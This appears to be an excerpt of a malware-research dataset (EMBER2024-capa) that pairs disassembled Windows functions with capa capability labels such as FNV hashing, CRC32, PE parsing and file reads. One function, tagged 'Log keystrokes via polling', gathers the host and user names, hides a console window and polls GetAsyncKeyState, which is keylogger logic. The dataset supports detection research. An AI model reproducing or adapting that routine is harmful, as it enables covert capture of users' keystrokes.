joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14014abb0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
ja 0x14014ad8f
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x40], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.140029010
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x14014ad54
mov qword [rsp + 0x38], rbp
movabs rdi, 0x100000001b3
movabs rbp, 0xcbf29ce484222325
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r9d, byte [rax + 0x10]
mov r11, qword [rsi + 0x30]
xor r9, rbp
mov rcx, qword [rcx]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x12]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x13]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x14]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x15]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x16]
imul r9, rdi
xor r9, rdx
movzx edx, byte [rax + 0x17]
imul r9, rdi
xor r9, rdx
imul r9, rdi
and r11, r9
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rbx
jne 0x14014accc
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x14014ad43
mov rdx, qword [r11 + 8]
mov r8, qword [rax + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x14014ad09
mov r10, qword [rdx]
cmp r10, rax
je 0x14014ad03
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x14014ad43
cmp r9, rdx
je 0x14014ad1f
nop
mov rdx, qword [rdx + 8]
cmp r8, qword [rdx + 0x10]
je 0x14014ad69
cmp r9, rdx
jne 0x14014ad10
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
jne 0x14014ac50
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x14014ad43
lea rcx, str.invalid_hash_bucket_count
call sub.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_
int3
Function at 0x140152640
Capabilities:
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov edx, dword [0x14022a9c0]
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax + rdx*8]
mov eax, dword [rcx + rax]
cmp dword [0x1402286a0], eax
jg 0x140152696
mov rdx, qword [rbx + 0x30]
mov rcx, qword [0x140228698]
add rsp, 0x20
pop rbx
jmp fcn.14014b0c0
mov qword [0x140228698], rax
lea rcx, [0x1402286a0]
call fcn.14016d010
jmp 0x14015266c
lea rcx, [0x1402286a0]
call fcn.14016d07c
cmp dword [0x1402286a0], 0xffffffff
jne 0x14015266c
mov ecx, 0xa8
call fcn.14016cc68
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140152681
xor edx, edx
mov rcx, rax
call fcn.14014a770
nop
jmp 0x140152681

Function at 0x1401528a0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rbx, rdx
mov rcx, qword [rcx + 0x40]
call fcn.140149a60
mov r9, qword [rbp + 0x28]
test rbx, rbx
je 0x1401529c1
mov rdx, qword [r9 + 0x58]
movabs rcx, 0x100000001b3
movabs rax, 0xcbf29ce484222325
movzx r8d, bl
xor r8, rax
mov qword [rsp + 0x30], rsi
movzx eax, byte [rsp + 0x39]
imul r8, rcx
xor r8, rax
movzx eax, byte [rsp + 0x3a]
imul r8, rcx
xor r8, rax
movzx eax, byte [rsp + 0x3b]
imul r8, rcx
xor r8, rax
movzx eax, byte [rsp + 0x3c]
imul r8, rcx
xor r8, rax
movzx eax, byte [rsp + 0x3d]
imul r8, rcx
xor r8, rax
movzx eax, byte [rsp + 0x3e]
imul r8, rcx
xor r8, rax
movzx eax, byte [rsp + 0x3f]
imul r8, rcx
xor r8, rax
imul r8, rcx
mov rcx, qword [r9 + 0x70]
and rcx, r8
add rcx, rcx
mov rax, qword [rdx + rcx*8 + 8]
cmp rax, qword [r9 + 0x48]
je 0x1401529e6
lea rsi, [rbp + 0x28]
mov rdx, qword [rdx + rcx*8]
cmp rbx, qword [rax + 0x10]
je 0x140152986
cmp rax, rdx
je 0x1401529e6
mov rax, qword [rax + 8]
cmp rbx, qword [rax + 0x10]
jne 0x140152973
lea rsi, [rbp + 0x28]
mov rbx, qword [rax + 0x18]
mov dl, 1
mov rcx, r9
call qword [sym.imp.Qt6Core.dll_public:_bool___cdecl_QObject::blockSignals_bool____ptr64]
mov rcx, qword [rsi]
mov rdx, rbx
call qword [sym.imp.Qt6Widgets.dll_public:_void___cdecl_QTreeWidget::setCurrentItem_class_QTreeWidgetItem____ptr64____ptr64]
mov rcx, qword [rsi]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.Qt6Core.dll_public:_bool___cdecl_QObject::blockSignals_bool____ptr64]
xor edx, edx
mov rcx, r9
call qword [sym.imp.Qt6Widgets.dll_public:_void___cdecl_QTreeWidget::setCurrentItem_class_QTreeWidgetItem____ptr64____ptr64]
mov rcx, qword [rbp + 0x28]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.Qt6Widgets.dll_public:_void___cdecl_QAbstractItemView::clearSelection_void____ptr64]
lea rcx, str.invalid_unordered_map_K__T__key
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_
int3
Function at 0x140156d50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
cmp byte [0x140228940], 0
lea r14, [0x140228950]
mov rdi, r8
mov rbp, rdx
mov r9d, ecx
jne 0x140156e79
mov r10d, 1
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov esi, 0x100
mov dword [0x140228950], 0
lea r11d, [r10 + 0x7f]
nop dword [rax]
mov eax, r10d
lea ebx, [r11 + r11]
and al, 1
neg al
mov eax, r10d
sbb ecx, ecx
shr eax, 1
and ecx, 0xedb88320
mov r10d, ecx
xor r10d, eax
xor eax, eax
lea ecx, [rax + r11]
mov r8d, r10d
xor r8d, dword [r14 + rax*4]
add eax, ebx
mov dword [r14 + rcx*4], r8d
cmp eax, esi
jb 0x140156dc0
shr r11d, 1
jne 0x140156da0
mov rbx, qword [rsp + 0x10]
lea rdx, [0x140229150]
nop word [rax + rax]
mov ecx, dword [rdx - 0x800]
lea rdx, [rdx + 4]
movzx eax, cl
shr ecx, 8
xor ecx, dword [r14 + rax*4]
movzx eax, cl
mov dword [rdx - 0x404], ecx
shr ecx, 8
xor ecx, dword [r14 + rax*4]
movzx eax, cl
mov dword [rdx - 4], ecx
shr ecx, 8
xor ecx, dword [r14 + rax*4]
movzx eax, cl
mov dword [rdx + 0x3fc], ecx
shr ecx, 8
xor ecx, dword [r14 + rax*4]
movzx eax, cl
mov dword [rdx + 0x7fc], ecx
shr ecx, 8
xor ecx, dword [r14 + rax*4]
movzx eax, cl
mov dword [rdx + 0xbfc], ecx
shr ecx, 8
xor ecx, dword [r14 + rax*4]
mov dword [rdx + 0xffc], ecx
movzx eax, cl
shr ecx, 8
xor ecx, dword [r14 + rax*4]
mov dword [rdx + 0x13fc], ecx
sub rsi, 1
jne 0x140156df0
mov rsi, qword [rsp + 0x18]
mov byte [0x140228940], 1
not r9d
cmp rdi, 8
jb 0x140156f4f
mov r10, rdi
lea r11, [rbp + 5]
shr r10, 3
imul rax, r10, 0xfffffffffffffff8
add rdi, rax
nop dword [rax + rax]
movzx eax, byte [r11 - 3]
movzx r8d, byte [r11 - 2]
lea r11, [r11 + 8]
shl r8, 8
or r8, rax
movzx eax, byte [r11 - 0xc]
shl r8, 8
or r8, rax
movzx eax, byte [rbp]
shl r8, 8
add rbp, 8
or r8, rax
mov eax, r9d
xor r8, rax
mov rax, r8
shr rax, 0x10
movzx edx, al
mov rax, r8
shr rax, 8
movzx ecx, al
movzx eax, byte [r11 - 9]
mov r9d, dword [r14 + rdx*4 + 0x1400]
xor r9d, dword [r14 + rcx*4 + 0x1800]
xor r9d, dword [r14 + rax*4 + 0xc00]
movzx eax, byte [r11 - 7]
xor r9d, dword [r14 + rax*4 + 0x400]
movzx eax, byte [r11 - 6]
xor r9d, dword [r14 + rax*4]
mov rax, r8
shr rax, 0x18
xor r9d, dword [r14 + rax*4 + 0x1000]
movzx eax, r8b
xor r9d, dword [r14 + rax*4 + 0x1c00]
movzx eax, byte [r11 - 8]
xor r9d, dword [r14 + rax*4 + 0x800]
sub r10, 1
jne 0x140156ea0
test rdi, rdi
je 0x140156f7f
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rbp]
lea rbp, [rbp + 1]
mov eax, r9d
shr r9d, 8
xor rcx, rax
movzx eax, cl
xor r9d, dword [r14 + rax*4]
sub rdi, 1
jne 0x140156f60
mov rbp, qword [rsp + 0x20]
not r9d
mov rdi, qword [rsp + 0x28]
mov eax, r9d
pop r14
ret
Function at 0x14016cb28
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14016cb62
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14016cb67
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14016cbb0
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1401d8bf0]
cmp byte [rcx + rax], 0
je 0x14016cbb0
dec r8
sub rdx, 1
jne 0x14016cb96
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14016dbcc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14016dc16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14016dc16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14016dc16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14016dc16
cmp dword [rcx + 0x84], 0xe
jbe 0x14016dc16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14016dc18
xor al, al
add rsp, 0x28
ret
Function at 0x140002200
Capabilities:
Get hostname
Get session user name
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140035080]
xor rax, rsp
mov qword [rbp + 0x90], rax
call fcn.140001e50
mov dword [rsp + 0x48], 0x10
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0xf
lea rdx, str.Computer_Name:
lea rcx, [rsp + 0x50]
call fcn.140004780
nop
lea rax, [rsp + 0x70]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002280
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140003f10
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.1400034b0
mov rcx, rax
call fcn.140001d10
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400022f0
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022eb
call fcn.14000f060
int3
call fcn.140006920
mov dword [rsp + 0x48], 0x104
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0xa
lea rdx, str.Username:
lea rcx, [rsp + 0x50]
call fcn.140004780
nop
lea rax, [rbp - 0x80]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002334
mov r8, rbx
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x50]
call fcn.140003f10
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.1400034b0
mov rcx, rax
call fcn.140001d10
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400023a5
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023a0
call fcn.14000f060
int3
call fcn.140006920
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov bl, 8
movsx ecx, bl
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
inc bl
jmp 0x1400023c7
Function at 0x1400028b0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1400028d2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000294c
mov rdi, r14
mov rcx, rbx
call fcn.140003a70
test rax, rax
jle 0x140002924
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140022ad0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000293c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140002944
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1400028e6
sub r14, rdi
jmp 0x140002a2f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140002963
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002965
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002997
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140022ad0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140002a2c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400029d2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x140002a0d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14000e850
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x140002a2c
cmp rbp, rax
ja 0x1400029e0
test rbp, rbp
je 0x140002a2c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14000e850
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret

Function at 0x14000766c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400076b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400076b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400076b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400076b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400076b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400076b8
xor al, al
add rsp, 0x28
ret

Function at 0x1400114bc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400112b8
Function at 0x140013fbc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140013fd2
mov al, 1
jmp 0x140014032
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140013fe3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140014030
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001c52c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140014030
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140014030
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140014030
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140014032
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140016e08
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140006f50
sub rsp, rax
mov rax, qword [0x140035080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140013e9c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140016e57
mov rax, rbp
jmp 0x140016f5f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x37300]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140017d54
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x37300]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140016f5b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140016f5b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140017d54
test rax, rax
js 0x140016f5b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140016f5b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140016f4d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140016f4d
cmp byte [rcx], 0xd
jne 0x140016f33
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140016f42
cmp byte [rcx + 1], 0xa
jne 0x140016f42
inc rcx
jmp 0x140016f42
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x354b0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140016f15
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140016f5f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140006900
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400170f4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140037300]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14001714b
cmp word [rdx], r13w
jne 0x14001714b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140017150
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140017275
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140017296
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140017189
mov rdx, r9
mov word [rbx], cx
jmp 0x1400171b0
cmp r9, r8
jae 0x1400171c0
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14001716a
jmp 0x140017275
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001726a
cmp dword [rsp + 0x80], esi
je 0x14001726a
lea r8, [0x140037300]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140017242
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140017212
mov word [rbx], r13w
jmp 0x140017272
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14001721f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140017272
cmp word [rsp + 0x70], r13w
jne 0x14001724f
cmp rbx, r14
je 0x14001720c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140017d5c
cmp word [rsp + 0x70], r13w
je 0x140017275
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140037300]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14001726f
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140017275
Function at 0x14001bac4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001baf4
xor eax, eax
jmp 0x14001bbb7
mov rbp, rbx
cmp word [rax], si
je 0x14001bb19
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001bb00
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001bafc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001a0c4
movsxd r14, eax
test eax, eax
jne 0x14001bb57
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001baed
mov rcx, r14
call fcn.140017f80
mov rdi, rax
test rax, rax
jne 0x14001bb70
xor ecx, ecx
call fcn.140015838
jmp 0x14001bb4c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001a0c4
test eax, eax
jne 0x14001bba1
mov rcx, rdi
call fcn.140015838
jmp 0x14001bbab
xor ecx, ecx
call fcn.140015838
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14001ea80
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001447c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14001eb21
cmp ebx, dword [rsp + 0x30]
je 0x14001eb1a
test esi, esi
je 0x14001eb1a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14001eaf5
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14001eb02
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14001eadf
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14001eb06
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14001eb23
mov eax, 1
jmp 0x14001eb23
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret